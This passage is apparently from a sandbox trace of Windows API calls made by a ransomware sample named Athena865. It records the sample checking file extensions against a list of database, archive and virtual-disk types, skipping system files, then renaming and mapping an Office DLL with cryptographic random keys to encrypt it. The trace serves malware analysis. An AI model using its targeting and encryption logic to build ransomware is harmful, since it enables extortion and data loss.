5 [0083.000] lstrcmpiW (lpString1="H.DLL", lpString2="fmp12") returned 1 [0083.000] lstrlenW (lpString="fmpsl") returned 5 [0083.000] lstrcmpiW (lpString1="H.DLL", lpString2="fmpsl") returned 1 [0083.000] lstrlenW (lpString="fol") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0083.000] lstrlenW (lpString="fp3") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0083.000] lstrlenW (lpString="fp4") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0083.000] lstrlenW (lpString="fp5") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0083.000] lstrlenW (lpString="fp7") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0083.000] lstrlenW (lpString="fpt") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0083.000] lstrlenW (lpString="frm") returned 3 [0083.000] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0083.000] lstrlenW (lpString="gdb") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.001] lstrlenW (lpString="gdb") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.001] lstrlenW (lpString="grdb") returned 4 [0083.001] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0083.001] lstrlenW (lpString="gwi") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0083.001] lstrlenW (lpString="hdb") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0083.001] lstrlenW (lpString="his") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0083.001] lstrlenW (lpString="ib") returned 2 [0083.001] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0083.001] lstrlenW (lpString="idb") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0083.001] lstrlenW (lpString="ihx") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0083.001] lstrlenW (lpString="itdb") returned 4 [0083.001] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0083.001] lstrlenW (lpString="itw") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0083.001] lstrlenW (lpString="jet") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0083.001] lstrlenW (lpString="jtx") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0083.001] lstrlenW (lpString="kdb") returned 3 [0083.001] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0083.001] lstrlenW (lpString="kexi") returned 4 [0083.001] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0083.001] lstrlenW (lpString="kexic") returned 5 [0083.001] lstrcmpiW (lpString1="H.DLL", lpString2="kexic") returned -1 [0083.001] lstrlenW (lpString="kexis") returned 5 [0083.001] lstrcmpiW (lpString1="H.DLL", lpString2="kexis") returned -1 [0083.001] lstrlenW (lpString="lgc") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0083.002] lstrlenW (lpString="lwx") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0083.002] lstrlenW (lpString="maf") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0083.002] lstrlenW (lpString="maq") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0083.002] lstrlenW (lpString="mar") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0083.002] lstrlenW (lpString="marshal") returned 7 [0083.002] lstrcmpiW (lpString1="LPH.DLL", lpString2="marshal") returned -1 [0083.002] lstrlenW (lpString="mas") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0083.002] lstrlenW (lpString="mav") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0083.002] lstrlenW (lpString="maw") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0083.002] lstrlenW (lpString="mdbhtml") returned 7 [0083.002] lstrcmpiW (lpString1="LPH.DLL", lpString2="mdbhtml") returned -1 [0083.002] lstrlenW (lpString="mdn") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0083.002] lstrlenW (lpString="mdt") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0083.002] lstrlenW (lpString="mfd") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0083.002] lstrlenW (lpString="mpd") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0083.002] lstrlenW (lpString="mrg") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0083.002] lstrlenW (lpString="mud") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0083.002] lstrlenW (lpString="mwb") returned 3 [0083.002] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0083.003] lstrlenW (lpString="myd") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0083.003] lstrlenW (lpString="ndf") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0083.003] lstrlenW (lpString="nnt") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0083.003] lstrlenW (lpString="nrmlib") returned 6 [0083.003] lstrcmpiW (lpString1="PH.DLL", lpString2="nrmlib") returned 1 [0083.003] lstrlenW (lpString="ns2") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0083.003] lstrlenW (lpString="ns3") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0083.003] lstrlenW (lpString="ns4") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0083.003] lstrlenW (lpString="nsf") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0083.003] lstrlenW (lpString="nv") returned 2 [0083.003] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0083.003] lstrlenW (lpString="nv2") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0083.003] lstrlenW (lpString="nwdb") returned 4 [0083.003] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0083.003] lstrlenW (lpString="nyf") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0083.003] lstrlenW (lpString="odb") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.003] lstrlenW (lpString="odb") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.003] lstrlenW (lpString="oqy") returned 3 [0083.003] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0083.003] lstrlenW (lpString="ora") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0083.004] lstrlenW (lpString="orx") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0083.004] lstrlenW (lpString="owc") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0083.004] lstrlenW (lpString="p96") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0083.004] lstrlenW (lpString="p97") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0083.004] lstrlenW (lpString="pan") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0083.004] lstrlenW (lpString="pdb") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0083.004] lstrlenW (lpString="pdm") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0083.004] lstrlenW (lpString="pnz") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0083.004] lstrlenW (lpString="qry") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0083.004] lstrlenW (lpString="qvd") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0083.004] lstrlenW (lpString="rbf") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0083.004] lstrlenW (lpString="rctd") returned 4 [0083.004] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0083.004] lstrlenW (lpString="rod") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0083.004] lstrlenW (lpString="rodx") returned 4 [0083.004] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0083.004] lstrlenW (lpString="rpd") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0083.004] lstrlenW (lpString="rsd") returned 3 [0083.004] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0083.004] lstrlenW (lpString="sas7bdat") returned 8 [0083.005] lstrcmpiW (lpString1="TLPH.DLL", lpString2="sas7bdat") returned 1 [0083.005] lstrlenW (lpString="sbf") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0083.005] lstrlenW (lpString="scx") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0083.005] lstrlenW (lpString="sdb") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0083.005] lstrlenW (lpString="sdc") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0083.005] lstrlenW (lpString="sdf") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0083.005] lstrlenW (lpString="sis") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0083.005] lstrlenW (lpString="spq") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0083.005] lstrlenW (lpString="te") returned 2 [0083.005] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0083.005] lstrlenW (lpString="teacher") returned 7 [0083.005] lstrcmpiW (lpString1="LPH.DLL", lpString2="teacher") returned -1 [0083.005] lstrlenW (lpString="tmd") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0083.005] lstrlenW (lpString="tps") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0083.005] lstrlenW (lpString="trc") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.005] lstrlenW (lpString="trc") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.005] lstrlenW (lpString="trm") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0083.005] lstrlenW (lpString="udb") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0083.005] lstrlenW (lpString="udl") returned 3 [0083.005] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0083.005] lstrlenW (lpString="usr") returned 3 [0083.006] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0083.006] lstrlenW (lpString="v12") returned 3 [0083.006] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0083.006] lstrlenW (lpString="vis") returned 3 [0083.006] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0083.006] lstrlenW (lpString="vpd") returned 3 [0083.006] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0083.006] lstrlenW (lpString="vvv") returned 3 [0083.006] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0083.006] lstrlenW (lpString="wdb") returned 3 [0083.006] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0083.006] lstrlenW (lpString="wmdb") returned 4 [0083.006] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0083.006] lstrlenW (lpString="wrk") returned 3 [0083.006] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0083.006] lstrlenW (lpString="xdb") returned 3 [0083.006] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0083.006] lstrlenW (lpString="xld") returned 3 [0083.006] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0083.006] lstrlenW (lpString="xmlff") returned 5 [0083.006] lstrcmpiW (lpString1="H.DLL", lpString2="xmlff") returned -1 [0083.006] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLPH.DLL.Athena865") returned 63 [0083.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLPH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlph.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLPH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlph.dll.athena865"), dwFlags=0x1) returned 1 [0083.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLPH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlph.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0083.007] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=389520) returned 1 [0083.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.008] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.008] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.008] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.009] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f490, lpName=0x0) returned 0x17c [0083.019] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f490) returned 0x2d50000 [0083.062] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.062] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.062] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.063] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0083.067] CloseHandle (hObject=0x17c) returned 1 [0083.067] CloseHandle (hObject=0x154) returned 1 [0083.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.068] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe558, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLRPC.DLL", cAlternateFileName="")) returned 1 [0083.068] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.068] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.068] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2=".") returned 1 [0083.068] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="..") returned 1 [0083.068] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="windows") returned -1 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="bootmgr") returned 1 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="temp") returned -1 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="pagefile.sys") returned -1 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="boot") returned 1 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="ids.txt") returned 1 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="ntuser.dat") returned 1 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="perflogs") returned -1 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2="MSBuild") returned 1 [0083.069] lstrlenW (lpString="OUTLRPC.DLL") returned 11 [0083.069] lstrcpyW (in: lpString1=0x241e89e, lpString2="OUTLRPC.DLL" | out: lpString1="OUTLRPC.DLL") returned="OUTLRPC.DLL" [0083.069] lstrlenW (lpString="OUTLRPC.DLL") returned 11 [0083.069] lstrlenW (lpString="Athena865") returned 9 [0083.069] lstrcmpiW (lpString1="TLRPC.DLL", lpString2="Athena865") returned 1 [0083.069] lstrlenW (lpString=".dll") returned 4 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2=".dll") returned 1 [0083.069] lstrlenW (lpString=".lnk") returned 4 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2=".lnk") returned 1 [0083.069] lstrlenW (lpString=".ini") returned 4 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2=".ini") returned 1 [0083.069] lstrlenW (lpString=".sys") returned 4 [0083.069] lstrcmpiW (lpString1="OUTLRPC.DLL", lpString2=".sys") returned 1 [0083.069] lstrlenW (lpString="OUTLRPC.DLL") returned 11 [0083.069] lstrlenW (lpString="bak") returned 3 [0083.069] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0083.069] lstrlenW (lpString="ba_") returned 3 [0083.069] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0083.069] lstrlenW (lpString="dbb") returned 3 [0083.069] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0083.069] lstrlenW (lpString="vmdk") returned 4 [0083.069] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0083.069] lstrlenW (lpString="rar") returned 3 [0083.069] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0083.069] lstrlenW (lpString="zip") returned 3 [0083.069] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0083.070] lstrlenW (lpString="tgz") returned 3 [0083.070] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0083.070] lstrlenW (lpString="vbox") returned 4 [0083.070] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0083.070] lstrlenW (lpString="vdi") returned 3 [0083.070] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0083.070] lstrlenW (lpString="vhd") returned 3 [0083.070] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0083.070] lstrlenW (lpString="vhdx") returned 4 [0083.070] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0083.070] lstrlenW (lpString="avhd") returned 4 [0083.070] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0083.070] lstrlenW (lpString="db") returned 2 [0083.070] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0083.070] lstrlenW (lpString="db2") returned 3 [0083.070] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0083.070] lstrlenW (lpString="db3") returned 3 [0083.070] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0083.070] lstrlenW (lpString="dbf") returned 3 [0083.070] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0083.070] lstrlenW (lpString="mdf") returned 3 [0083.070] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0083.070] lstrlenW (lpString="mdb") returned 3 [0083.070] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0083.070] lstrlenW (lpString="sql") returned 3 [0083.070] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0083.070] lstrlenW (lpString="sqlite") returned 6 [0083.070] lstrcmpiW (lpString1="PC.DLL", lpString2="sqlite") returned -1 [0083.070] lstrlenW (lpString="sqlite3") returned 7 [0083.070] lstrcmpiW (lpString1="RPC.DLL", lpString2="sqlite3") returned -1 [0083.070] lstrlenW (lpString="sqlitedb") returned 8 [0083.070] lstrcmpiW (lpString1="LRPC.DLL", lpString2="sqlitedb") returned -1 [0083.070] lstrlenW (lpString="xml") returned 3 [0083.070] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0083.070] lstrlenW (lpString="$er") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0083.071] lstrlenW (lpString="4dd") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0083.071] lstrlenW (lpString="4dl") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0083.071] lstrlenW (lpString="^^^") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0083.071] lstrlenW (lpString="abs") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0083.071] lstrlenW (lpString="abx") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0083.071] lstrlenW (lpString="accdb") returned 5 [0083.071] lstrcmpiW (lpString1="C.DLL", lpString2="accdb") returned 1 [0083.071] lstrlenW (lpString="accdc") returned 5 [0083.071] lstrcmpiW (lpString1="C.DLL", lpString2="accdc") returned 1 [0083.071] lstrlenW (lpString="accde") returned 5 [0083.071] lstrcmpiW (lpString1="C.DLL", lpString2="accde") returned 1 [0083.071] lstrlenW (lpString="accdr") returned 5 [0083.071] lstrcmpiW (lpString1="C.DLL", lpString2="accdr") returned 1 [0083.071] lstrlenW (lpString="accdt") returned 5 [0083.071] lstrcmpiW (lpString1="C.DLL", lpString2="accdt") returned 1 [0083.071] lstrlenW (lpString="accdw") returned 5 [0083.071] lstrcmpiW (lpString1="C.DLL", lpString2="accdw") returned 1 [0083.071] lstrlenW (lpString="accft") returned 5 [0083.071] lstrcmpiW (lpString1="C.DLL", lpString2="accft") returned 1 [0083.071] lstrlenW (lpString="adb") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.071] lstrlenW (lpString="adb") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.071] lstrlenW (lpString="ade") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0083.071] lstrlenW (lpString="adf") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0083.071] lstrlenW (lpString="adn") returned 3 [0083.071] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0083.071] lstrlenW (lpString="adp") returned 3 [0083.072] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0083.072] lstrlenW (lpString="alf") returned 3 [0083.072] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0083.072] lstrlenW (lpString="ask") returned 3 [0083.072] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0083.072] lstrlenW (lpString="btr") returned 3 [0083.072] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0083.072] lstrlenW (lpString="cat") returned 3 [0083.072] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0083.072] lstrlenW (lpString="cdb") returned 3 [0083.072] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0083.072] lstrlenW (lpString="ckp") returned 3 [0083.072] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0083.072] lstrlenW (lpString="cma") returned 3 [0083.072] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0083.072] lstrlenW (lpString="cpd") returned 3 [0083.072] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0083.072] lstrlenW (lpString="dacpac") returned 6 [0083.072] lstrcmpiW (lpString1="PC.DLL", lpString2="dacpac") returned 1 [0083.072] lstrlenW (lpString="dad") returned 3 [0083.072] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0083.072] lstrlenW (lpString="dadiagrams") returned 10 [0083.072] lstrcmpiW (lpString1="UTLRPC.DLL", lpString2="dadiagrams") returned 1 [0083.072] lstrlenW (lpString="daschema") returned 8 [0083.072] lstrcmpiW (lpString1="LRPC.DLL", lpString2="daschema") returned 1 [0083.072] lstrlenW (lpString="db-journal") returned 10 [0083.072] lstrcmpiW (lpString1="UTLRPC.DLL", lpString2="db-journal") returned 1 [0083.072] lstrlenW (lpString="db-shm") returned 6 [0083.072] lstrcmpiW (lpString1="PC.DLL", lpString2="db-shm") returned 1 [0083.072] lstrlenW (lpString="db-wal") returned 6 [0083.072] lstrcmpiW (lpString1="PC.DLL", lpString2="db-wal") returned 1 [0083.072] lstrlenW (lpString="dbc") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0083.073] lstrlenW (lpString="dbs") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0083.073] lstrlenW (lpString="dbt") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0083.073] lstrlenW (lpString="dbv") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0083.073] lstrlenW (lpString="dbx") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0083.073] lstrlenW (lpString="dcb") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0083.073] lstrlenW (lpString="dct") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0083.073] lstrlenW (lpString="dcx") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0083.073] lstrlenW (lpString="ddl") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0083.073] lstrlenW (lpString="dlis") returned 4 [0083.073] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0083.073] lstrlenW (lpString="dp1") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0083.073] lstrlenW (lpString="dqy") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0083.073] lstrlenW (lpString="dsk") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0083.073] lstrlenW (lpString="dsn") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0083.073] lstrlenW (lpString="dtsx") returned 4 [0083.073] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0083.073] lstrlenW (lpString="dxl") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0083.073] lstrlenW 